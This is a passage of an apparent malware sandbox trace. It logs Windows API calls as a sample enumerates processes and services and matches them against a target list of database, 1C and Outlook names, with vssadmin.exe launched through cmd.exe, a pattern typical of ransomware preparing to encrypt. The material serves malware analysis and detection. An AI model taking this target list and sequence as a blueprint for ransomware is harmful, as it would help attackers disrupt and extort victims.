(lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0056.800] lstrlenW (lpString="WdiServiceHost") returned 14 [0056.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0056.800] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0056.800] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0056.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0056.800] lstrlenW (lpString="WdiSystemHost") returned 13 [0056.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0056.800] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0056.800] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0056.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0056.801] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0056.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0056.801] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0056.801] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0056.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0056.801] lstrlenW (lpString="Winmgmt") returned 7 [0056.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0056.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0056.801] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0056.801] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0056.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0056.801] lstrlenW (lpString="WPDBusEnum") returned 10 [0056.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0056.801] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0056.801] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0056.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0056.801] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0056.801] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218 [0056.803] Process32FirstW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0056.803] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0056.804] lstrlenW (lpString="System") returned 6 [0056.804] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0056.804] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0056.804] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0056.804] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0056.804] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0056.804] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0056.804] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0056.804] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0056.804] lstrlenW (lpString="smss.exe") returned 8 [0056.804] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0056.804] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0056.804] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0056.804] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0056.804] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0056.804] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0056.804] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0056.804] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.805] lstrlenW (lpString="csrss.exe") returned 9 [0056.805] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0056.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0056.805] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0056.805] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0056.805] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0056.805] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0056.805] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0056.805] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0056.805] lstrlenW (lpString="wininit.exe") returned 11 [0056.805] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0056.805] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0056.805] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0056.805] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0056.806] lstrlenW (lpString="csrss.exe") returned 9 [0056.806] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0056.806] lstrlenW (lpString="winlogon.exe") returned 12 [0056.806] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0056.806] lstrlenW (lpString="services.exe") returned 12 [0056.806] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0056.807] lstrlenW (lpString="lsass.exe") returned 9 [0056.807] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0056.807] lstrlenW (lpString="lsm.exe") returned 7 [0056.807] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.807] lstrlenW (lpString="svchost.exe") returned 11 [0056.807] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.808] lstrlenW (lpString="svchost.exe") returned 11 [0056.808] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.808] lstrlenW (lpString="svchost.exe") returned 11 [0056.808] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.808] lstrlenW (lpString="svchost.exe") returned 11 [0056.808] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.809] lstrlenW (lpString="svchost.exe") returned 11 [0056.809] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0056.809] lstrlenW (lpString="audiodg.exe") returned 11 [0056.809] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.809] lstrlenW (lpString="svchost.exe") returned 11 [0056.809] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.810] lstrlenW (lpString="svchost.exe") returned 11 [0056.810] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0056.810] lstrlenW (lpString="dwm.exe") returned 7 [0056.810] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0056.810] lstrlenW (lpString="explorer.exe") returned 12 [0056.810] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0056.810] lstrlenW (lpString="spoolsv.exe") returned 11 [0056.811] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.811] lstrlenW (lpString="taskhost.exe") returned 12 [0056.811] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.811] lstrlenW (lpString="svchost.exe") returned 11 [0056.811] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0056.811] lstrlenW (lpString="taskeng.exe") returned 11 [0056.811] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0056.812] lstrlenW (lpString="taskhost.exe") returned 12 [0056.812] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0056.812] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0056.812] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0056.812] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0056.812] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0056.813] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0056.813] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0056.813] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0056.813] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0056.813] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0056.813] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0056.814] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0056.814] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0056.814] lstrlenW (lpString="toyota.exe") returned 10 [0056.814] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0056.814] lstrlenW (lpString="radiation.exe") returned 13 [0056.814] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0056.814] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0056.815] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0056.815] lstrlenW (lpString="ur illustration.exe") returned 19 [0056.815] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0056.815] lstrlenW (lpString="facing.exe") returned 10 [0056.815] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0056.815] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0056.815] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0056.816] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0056.816] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0056.816] lstrlenW (lpString="headline.exe") returned 12 [0056.816] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0056.816] lstrlenW (lpString="army_unsigned.exe") returned 17 [0056.816] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0056.817] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0056.817] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0056.817] lstrlenW (lpString="distribution-gif.exe") returned 20 [0056.817] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0056.817] lstrlenW (lpString="tribunal.exe") returned 12 [0056.817] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0056.818] lstrlenW (lpString="aafeof.exe") returned 10 [0056.818] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0056.818] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0056.818] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0056.818] lstrlenW (lpString="encryption.exe") returned 14 [0056.818] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0056.818] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0056.819] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0056.819] lstrlenW (lpString="1с_.exe") returned 7 [0056.819] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0056.819] lstrlenW (lpString="cmd.exe") returned 7 [0056.819] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0056.819] lstrlenW (lpString="conhost.exe") returned 11 [0056.819] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0056.820] lstrlenW (lpString="vssadmin.exe") returned 12 [0056.820] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0056.820] lstrlenW (lpString="VSSVC.exe") returned 9 [0056.820] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0056.820] lstrlenW (lpString="svchost.exe") returned 11 [0056.820] Process32NextW (in: hSnapshot=0x218, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0056.821] CloseHandle (hObject=0x218) returned 1 [0056.821] Sleep (dwMilliseconds=0x1f4) [0057.534] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f94058 [0057.534] EnumServicesStatusExW (in: hSCManager=0x3f94058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0057.535] GetLastError () returned 0xea [0057.535] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x60eb98 [0057.535] EnumServicesStatusExW (in: hSCManager=0x3f94058, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0057.535] CloseServiceHandle (hSCObject=0x3f94058) returned 1 [0057.535] lstrlenW (lpString="Appinfo") returned 7 [0057.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0057.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0057.536] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0057.536] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0057.536] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0057.536] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0057.536] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0057.536] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 